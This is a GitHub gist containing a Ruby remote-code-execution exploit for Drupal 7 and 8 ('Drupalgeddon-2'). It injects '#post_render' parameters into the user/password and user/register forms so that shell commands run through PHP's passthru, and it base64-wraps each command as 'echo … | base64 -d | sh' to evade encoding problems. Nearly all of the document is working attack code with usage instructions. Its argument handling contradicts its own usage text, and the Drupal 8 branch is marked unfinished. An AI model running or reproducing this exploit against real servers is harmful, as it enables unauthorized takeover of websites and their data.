Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save m4lv0id/fe2f1ad02ca6d3b86532a2a10337d743 to your computer and use it in GitHub Desktop.
Save m4lv0id/fe2f1ad02ca6d3b86532a2a10337d743 to your computer and use it in GitHub Desktop.
Drupalgeddon-2 Exploit (added payload encoding)
#!/usr/bin/env ruby
# This version works both Drupal 8.X and Drupal 7.X
require 'base64'
require 'json'
require 'net/http'
require 'openssl'
require 'nokogiri'
class Target
# host = Host URL -> http://example.com
# PHP method to use, by default passtrhu
# command = Command to execute
def initialize(host,command,php_method='passthru',form_path=0)
@host = host
@method = php_method
@command = command
@uri = URI(host)
@form_path = form_path
@http = create_http
end
def success
puts "[+] Target seems to be exploitable! w00hooOO!"
end
def failed(msg)
puts "[!] Target does NOT seem to be exploitable: " + msg
exit
end
def create_http
http = Net::HTTP.new(@uri.host, @uri.port)
# Use SSL/TLS if needed
if @uri.scheme == 'https'
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
return http
end
def check_response(response)
if response.code == "200"
success
else
failed("Response: " + response.code)
end
end
end
class Drupal8 < Target
def initialize(host,command,php_method='passthru',form_path=0)
super(host,command,php_method,form_path)
end
# Not finished yet
def exploit
# Make the request
req = Net::HTTP::Post.new(URI.encode("#{@uri.path}user/register?element_parents=account/mail/#value&ajax_form=1&_wrapper_format=drupal_ajax"))
req.body = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + @method + "&mail[a][#type]=markup&mail[a][#markup]=" + @command
response = @http.request(req)
check_response(response)
puts response.body.split('[{"command"')[0]
end
end
class Drupal7 < Target
def initialize(host,command,php_method='passthru',form_path=0)
super(host,command,php_method,form_path)
end
def get_form_build_id(response)
page = Nokogiri::HTML(response)
form = page.css('form#user-pass')
return /<input type="hidden" name="form_build_id" value="([^"]+)"/.match(form.to_s)[1]
end
def exploit
payload = URI.encode("name[#post_render][]=#{@method}&name[#markup]=#{@command}&name[#type]=markup")
if @form_path == 0 then
form = '/?q=user/password&'
form2 = '?q=file'
else
form = '/user/password/?'
form2 = 'file'
end
payload = @uri.path + form + payload
puts "Requesting: " + @uri.host + payload
puts "POST: " + 'form_id=user_pass&_triggering_element_name=name'
#
# => First request, trying to obtain form_build_id
#
req = Net::HTTP::Post.new(payload)
req.body = 'form_id=user_pass&_triggering_element_name=name'
response = @http.request(req)
puts response.code
form_build_id = get_form_build_id(response.body)
puts "[*] Obtained build id!: #{form_build_id}"
post_parameters = "form_build_id=#{form_build_id}"
#
# => Second Request
#
req = Net::HTTP::Post.new(URI.encode("#{@uri.path}#{form2}/ajax/name/#value/#{form_build_id}"))
puts "Requesting: " + @uri.host + URI.encode("#{@uri.path}#{form2}/ajax/name/#value/#{form_build_id}")
puts "POST: " + post_parameters
req.body = post_parameters
response = @http.request(req)
puts "Response code: " + response.code
if response.body.split('[{"command"')[0] == ""
if(@command != 'id')
failed("Maybe incorrect input command, try simple command as 'id'")
end
failed("")
end
puts response.body.split('[{"command"')[0]
end
end
# Quick how to use
if ARGV.empty? || ARGV.length < 2 || ARGV[0] == "-h" || ARGV[0] == "--help"
puts "Usage: ruby drupalggedon2.rb <version [7,8]> <target> <command> [php_method] [form_path]"
puts " ruby drupalgeddon2.rb 7 https://example.com whoami [passtrhu,system,exec,...] [0,1]"
puts "form_path: 0 => Vulnerable form on /?q=user/password"
puts "form_path: 1 => Vulnerable form on /user/password"
exit
end
# Read in values
target = ARGV[0]
version = ARGV[1]
command = ARGV[2]
php_method = ARGV[3] || 'passthru'
form_path = ARGV[4] || 0
# Encoding for better Code Execution - @m4lv0id
command = "echo " + Base64.strict_encode64(command) + " | base64 -d | sh"
command = URI::encode(command)
command = command.gsub('+','%2b')
puts "Command : #{command}"
if version == "7"
drupal = Drupal7.new(target,command,php_method,form_path)
else
drupal = Drupal8.new(target,command,php_method,form_path)
end
drupal.exploit
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment